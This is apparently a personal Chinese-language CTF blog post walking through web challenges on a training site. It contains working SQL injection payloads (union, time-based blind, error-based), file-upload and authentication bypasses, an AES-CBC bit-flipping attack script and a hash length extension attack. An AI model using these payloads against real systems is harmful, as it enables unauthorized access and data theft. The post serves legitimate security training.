上学期开学那段时间刷的,开始有点做题的感觉了<( ̄︶ ̄)>
后台登录
F12可以看到注释里给出了查询的sql,这个语句将password进行了md5加密
md5()这个函数前一个参数为输入字符串,后一个为输出进制。true时为二进制,false时为十六进制
我们可以用这个字符串:ffifdyop
它进过md5后,加密方式设为true时为 'or'6�]��!r,��b ;false时为 276f722736c95d99e921722cf9ed6
21c 转为字符串后是 'or'6
然后获得flag
what a fuck!这是什么鬼东西?
一看就是js之类的码,用控制台输出
上传绕过
做过的题,这里还是想了想为什么%00截断可以
应该是这里dir是文件保存的路径,然后会接filename在uploads/之后。因为这里用%00截断,于是储存路径就变成uploads/1.php%001.jpg,1.jpg不会被读到,于是就被认为是储存的是php文件。而一开始的判断只是靠filename而已,所以就会是jpg的判断,结果就通过得flag
简单的sql注入
这题过滤的东西有点坑
一开始以为是过滤了union select,然后又以为是空格,但好像都不对。最后用'1(语句)1'才查出过滤了什么
查到了过滤了'union ','select ','from ','where ','table_schema','information_schema.columns',
'table_schema','column_name'
payload:
' unionunion selectselect database()'
' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_table_schemaschema='web1' or '
' unionunion selectselect columncolumn_name_name fromfrom information_sinformation_schema.columnschema.columns wherewhere table_name='flag' or '
' unionunion selectselect flag fromfrom flag wherewhere '1'='1
拐弯抹角
这题打开就是代码审计,虽然很长,但很有意义,学到了不少绕过技巧
<?php
// code by SEC@USTC
echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';
$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";
$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;
//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}
//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}
//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}
//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}
//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}
//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}
//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}
if(!$stop) $stop = 8;
echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);
echo highlight_string($code, TRUE);
echo '</body></html>';
比如用..回到上级目录以进行绕过得到index.php;用来代替/;大小写绕过;//代替/;index.php.代替index.php
这题主要考点是伪静态页面,可以通过/index.php/index.php绕过获得flag。这里在后面的index.php并不是作为文件,而是作为一个参数传入index.php,继而成功绕过
payload: http://ctf5.shiyanbar.com/indirection/index.php/index.php
Forms
这题完全坑人引导啊!!!
F12发现有个input被hidden,且设值为0,名字叫showsource
觉得有用就试着修改为1然后提交就出了一段代码,很明显直接把a的值提交上去就能获得flag了
Once More
做过的题,ereg用%00截断绕过,长度用科学计数法绕过
payload: password=1e9%00*-*
guess next session
这题一看源码就知道提示又在坑人
一开始想着让password为true就行,然而怎么都不行,怎么都会被认为是str的true。于是换个思路,既然这里是从session里取出password的话,那把session清空不就完了。用burpsuit发送个不带cookie的数据包,此时由于是第一次登录,而session的初始值都为0于是就password为空就能获得flag
记得这题打开时就创建了cookie,于是再输入空password也没用,只能清空cookie
FALSE
又是sha的题,数组或加密后为科学计数法绕过都行
这个看起来有点简单!
太过简单以致做不出来的题【笑哭脸
没想到这题连单引号都不用加
payload:
0 union select 1,2
0 union select 1,table_name from information_schema.tables where table_schema=database()
0 union select 1,column_name from information_schema.columns where table_name='thiskey'
0 union select 1,k0y from thiskey
你真的会PHP吗?
先用一波burpsuit发现hint,这次终于不会眼瞎了hhh
然后用着个获得了一波源码,审核一下,大概就是
首先要是一个字符串
然后不是数字,并在int再str之后会和原本相同
再是int后是个回文,但str后一个个对又不是回文
这题第一反应应该是要用科学计数法或十六进制,但怎么都不行。想过%00但以为不能对这几个函数起作用。然而查了wp知道是有用的,%00能让is_numeri返回false。于是就很简单了,number=0e-0%00得解
登陆一下好吗??
这题一开始试了一下or和',发现or不行而'可以,就脑补了一下sql语句应该是:select * from where username='' and password=''
然后or被过滤估计and也是被过滤,这是就想到了^。实际上答案也确实使用这个,但我并没解出来,不过又学到了一点东西
当进行sql查询时,如果该列中都是字符串的话,只要查询的列值为0就可以全部查出,没想到sql里也是弱类型的。这里试着用username='^'aaa&password='^'aaa,这里''的值为0,而字符串的值也认为是0(应该是有单引号就判断是字符串了),0^0=0。但并没出flag,估计是password有数字开头,于是就用之前见过的注释方法,username=&password=^'aaa得到flag
因缺思汀的绕过
这题又是奇淫技巧,虽然我的想法和wp差不多,但太菜以致我没解出来orz
F12发现有一个source.txt,是登录的源码
这里过滤了一大堆,但基本都能用/**/绕过,但,()被过滤了就很难受,本来想用类似于union select 1,2然后password=2就能过的,但这里过滤了就头很大。就只能想到盲注,但不想这么搞就查了一下wp,发现一个payload:uname=' or 1=1 group by psw with rollup limit 1 offset 2#&psw=
真的是又踏入了我的知识盲区,给这里的group by...with rollup举个例子
若是select dep,pos,avg(sal) from employee group by dep,pos;
查出
dep | pos | avg(sal) |
---|---|---|
01 | 01 | 1500.0000 |
01 | 02 | 1950.0000 |
02 | 01 | 1500.0000 |
02 | 02 | 2450.0000 |
03 | 01 | 2500.0000 |
03 | 02 | 2550.0000 |
而select dep,pos,avg(sal) from employee group by dep,pos with rollup;
查出的是
| dep | pos | avg(sal) |
+------+------+-----------+
| 01 | 01 | 1500.0000 |
| 01 | 02 | 1950.0000 |
| 01 | NULL | 1725.0000 |
| 02 | 01 | 1500.0000 |
| 02 | 02 | 2450.0000 |
| 02 | NULL | 2133.3333 |
| 03 | 01 | 2500.0000 |
| 03 | 02 | 2550.0000 |
| 03 | NULL | 2533.3333 |
| NULL | NULL | 2090.0000 |
它会再以第一列进行统计,而此时第二列则为NULL
利用这个性质,我们可以修改offset直到使第二列为NULL,此时使password为空便能通过
还有这里中的数据库里可以查到只有两条,所以这条payload能用
who are you?
看了一下就知道使用X-Forwarded-For进行insert的时间盲注
payload:
' or sleep(3 * ((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>=5000)) or '
' or sleep(3 * ((select length(group_concat(column_name)) from information_schema.columns where table_name='flag')>=5000)) or '
' or sleep(3 * ((select length(group_concat(flag)) from flag )>=5000)) or '
不过之前写过一个脚本有些烂,找了个大佬的脚本来跑,这里就不放出来了
简单的sql注入之3
不是很难,尝试了一下updatexml()和floor()不行后就觉得应该会用到一些奇怪的报错,又试了几个后就找到了一个比较常见能用的报错注入
payload:
' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))#
' and geometrycollection((select * from(select * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a)b))#
' and geometrycollection((select * from(select * from(select group_concat(flag) from flag)a)b))#
之后还从别人的wp里学到了一个少见的ceil()报错:
payload:
' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#
' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#
' and (select 1 from (select count(*),concat((select flag from flag limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#
天下武功唯快不破
由提示就用burpsuit抓包,发现flag的提示,下面提示post为key的值获得flag
尝试了一下说是不够快,那就是要写脚本了
python走一波,获得flag
忘记密码了
进去没找到什么,就试着抓包
发现管理员邮箱账号,然后提示step2.php,又提示了vim,就猜可能会有遗留未删的备份
打开step2发现submit.php,然后尝试.submit.php.swp获得了源码
这里一个很简单的绕过?token=0.00000000&emailAddress=admin@simplexue.com
得flag
NSCTF web200
挺简单的题,反解码一下就出来了
程序逻辑问题
查看源码,发现一个有可能是源码的文件
打开发现果然是
读一下就知道该这么做了user=' union select md5(1)&password=1
PHP大法
提示index.php.txt
又是两次url解码, ?id=hackerD%254A
得flag
简单的sql注入之2
这题我也说不准到底过滤了什么,大概只有获得源码才能一探究竟了吧
试了大概是过滤了' union'、'union ',这个是确定的,但后面两个我就不清楚是这么过滤的了
select左右有/**/时就不会检测出来,没有的话就算单是输入select都会检测到。而)则是右边为/**/时就不会检测出来。(也许是过滤了空格吧)
于是payload就是:
'/**/union/**/select/**/1#
'/**/union/**/select/**/table_name from information_schema.tables where table_schema=database()/**/#
'/**/union/**/select/**/column_name from information_schema.columns where table_name='flag'/**/#
'/**/union/**/select/**/flag from flag/**/#
头有点大
这题提示确实很明显了,要我们用IE、.net9.9框架和在英国地区访问
那就用burpsuit修改http头
前两个在User-Agent后加(MSIE 9.0;.NET CLR 9.9)解决
后面那个本来以为是用英国IP,没想到改Accept-Language为en-gb;就可以了
猫抓老鼠
抓包可以看到一个base64编码字符串,没想到tm不用解码就可以用了,我还专门解码懵逼了好久
貌似有点难、
并没什么难度,而且什么过滤都没做
X-Forwarded-For:1.1.1.1即可
但还是了解一下其他两个
Client_IP这个变量表示的是代理服务器发送的HTTP头,说是并未成标准,因而很少见
Remote_Addr代表的是你的客户端和服务器握手时候的IP。比如但我们使用代理服务器时,里面的值是代理服务器的IP,只有直接连接服务器,服务器才会获得真实IP。
加了料的报错注入
这题确实有丶东西
一开始试着报错然而各种检测到
于是试着写个脚本跑了一下过滤了什么,发现username过滤了()而password过滤了报错注入用的函数名。我们可以构造一个/&password=/把password的去掉,使得前后报错信息都在username上,同时又不会被检测出注入
payload:
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(value) from ffll44jj),0x7e),1) or '
简单的登录题
是之前在bugku类似的题,都是找cbc翻转的漏洞
先抓个包,发现tips
然后打开test.php获得源码
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0); include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) {
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'';
} else{
echo 'Hello!';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id)) die("sql inject detected!");
$info = array('id'=>$id);
login($info);
echo 'Hello!';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo 'Login Form
input id to login';
}
}
这里就和bugku那道基本一样了,这里把开头的u换了就行
写个脚本得flag
# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
url = r'http://ctf5.shiyanbar.com/web/jiandan/index.php '
def login(payload):
payload = {'id':payload}
http = requests.post(url,data=payload)
Set_Cookie = http.headers['Set-Cookie']
iv = re.findall(r"iv=(.*?),",Set_Cookie)[0]
cipher = re.findall(r"cipher=(.*)",Set_Cookie)[0]
cookie = {'iv': iv, 'cipher': cipher}
return cookie
def cipher_(cipher,idx,s1,s2):
cipher_raw = b64decode(urllib.unquote(cipher))
lst = list(cipher_raw)
lst[idx] = chr(ord(lst[idx])^ord(s1)^ord(s2))
cipher_new = ''.join(lst)
cipher_new = urllib.quote(b64encode(cipher_new))
return cipher_new
def plain_(iv,cipher_new):
cookie_new = {'iv': iv,'cipher': cipher_new}
http = requests.post(url,cookies=cookie_new)
con = http.content
plain = re.findall(r"base64_decode\('(.*?)'\)",con)[0]
plain = b64decode(plain)
return plain
def iv_(iv,plain):
iv_raw = b64decode(urllib.unquote(iv))
plain_first = 'a:1:{s:2:"id";s:'
iv_new = ''
for i in range(16):
iv_new += chr(ord(plain_first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
return iv_new
def con_(payload,idx,s1,s2):
cookie = login(payload)
cipher_new = cipher_(cookie['cipher'],idx,s1,s2)
plain = plain_(cookie['iv'],cipher_new)
iv_new = iv_(cookie['iv'],plain)
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
http = requests.post(url,cookies=cookie_new)
con = http.content
print con
# con_('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
# con_('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database() limit 1 offset 1)b join (select 3)c);'+chr(0),7,'2','u')
# con_('0 2nion select * from (select * from you_want as a join you_want as b) as c;'+chr(0),6,'2','u')
# con_("0 2nion select * from((select 1)a join (select column_name from information_schema.columns where table_name regexp 'flag' limit 1 offset 1)b join (select 3)c);"+chr(0),7,'2','u')
# con_('0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);'+chr(0),6,'2','u')
让我进去
打开不知道搞什么,就抓包发现cookie里有个source=0,就试着改成1,获得源码
读一下,要我们cookie里getmein的值等于(一串未知15字符+username的值+password的值)进行md5后的值,然后cookie里也会给一串未知15字符+adminadmin进行md5后的值,但这里不允许password输入admin,这就让人很头大的。疯狂挠头了很久后查了一下说是hash长度扩展攻击
具体看这:MD5的Hash长度扩展攻击
利用这个漏洞我们就可以用sample-hash获取$secret + adminadminx80x00x00x00x00x00
x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xc8x00x00x00x00x00x00x00admin进行md5后的值,然后把password填为
adminx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xc8x00x00x00x00x00x00x00admin就可以使两边相等得到flag